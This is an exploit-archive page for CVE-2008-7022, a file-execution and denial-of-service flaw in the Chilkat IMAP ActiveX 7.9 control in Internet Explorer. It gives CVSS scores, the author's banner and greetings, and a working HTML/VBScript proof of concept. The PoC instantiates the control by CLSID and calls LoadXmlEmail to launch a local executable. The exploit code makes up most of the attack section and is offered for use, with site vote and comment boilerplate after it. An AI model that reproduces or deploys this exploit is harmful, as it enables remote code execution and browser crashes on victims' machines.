Chilkat IMAP ActiveX 7.9 File Execution / IE DoS Exploit

2009.08.23

Credit: e.wiZz!

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-7022

CWE: NVD-CWE-Other

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

##################Chilkat IMAP ActiveX File Execution&IE DoS ################

www.chilkasoft.com

####By:  e.wiZz!
####Info: Bosnian Idiot FTW!
####Site: infected.blogger.ba
####Greetz: suN8Hclf,Luigi and peoples from hakin9 forum

In the wild...

########################

File: ChilkatMail_v7_9.dll
ProgID: ChilkatMail2.ChilkatMailMan2.1
CLSID: 126FB030-1E9E-4517-A254-430616582C50

Description:

Function "LoadXmlEmail()" allows us to execute file which leads to DoS in IE.

Tested on IE 6,Win xp sp2

########################

<object classid='clsid:126FB030-1E9E-4517-A254-430616582C50' id='inthewild' />
<script language='vbscript'>

targetFile = "C:\Program Files\Chilkat Software Inc\Chilkat IMAP ActiveX\ChilkatMail_v7_9.dll"
prototype  = "Function LoadXmlEmail ( ByVal emailFilename As String ) As IChilkatEmail2"
memberName = "LoadXmlEmail"
progid     = "CHILKATMAILLib2.ChilkatMailMan2"
argCount   = 1

arg1="C:\Program Files\mIRC\mirc.exe"

inthewild.LoadXmlEmail arg1 

</script>

References:

http://xforce.iss.net/xforce/xfdb/45532

http://www.milw0rm.com/exploits/6600

See this note in RAW Version

Vote for this issue:

50%

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

Chilkat IMAP ActiveX 7.9 File Execution / IE DoS Exploit

References:

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Chilkat IMAP ActiveX 7.9 File Execution / IE DoS Exploit

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.